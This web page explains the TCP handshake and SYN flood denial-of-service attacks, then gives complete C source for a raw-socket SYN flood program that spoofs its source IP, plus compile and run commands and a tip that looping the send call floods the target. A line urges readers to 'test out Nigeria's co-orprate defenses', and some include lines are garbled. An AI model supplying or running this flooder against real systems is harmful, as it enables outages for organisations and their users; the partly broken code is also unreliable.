TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :
1. Client –SYN Packet–> Server
2. Server –SYN/ACK Packet –> Client
3. Client –ACK Packet –> Server
The above 3 steps are followed to establish a connection between source and destination.
SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server. These SYN requests get queued up on the server’s buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.Since the server’s resources are used the response to legitimate users is slowed down resulting in Denial of Service.
Test out Nigeria's co-orprate defenses:
Below is an example code in c :
Code
/*
Syn Flood DOS with LINUX sockets
*/
#include
#include //Provides declarations for tcp header
#include //Provides declarations for ip header
typedef struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
//char tcp[28];
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ("192.168.1.2"); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum
psh.source_address = inet_addr("192.168.1.2");
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
//IP_HDRINCL to tell the kernel that headers are included in the packet
{
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!n");
}
//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf ("errorn");
//Data send successfully
else
printf (".");
//}
return 0;
}
To compile simply : gcc synflood.c
And then : sudo ./a.out (if on Ubuntu)
Use wireshark to check the packets and replies from server.
The sendto function if put in a loop will start flooding the destination ip with syn packets.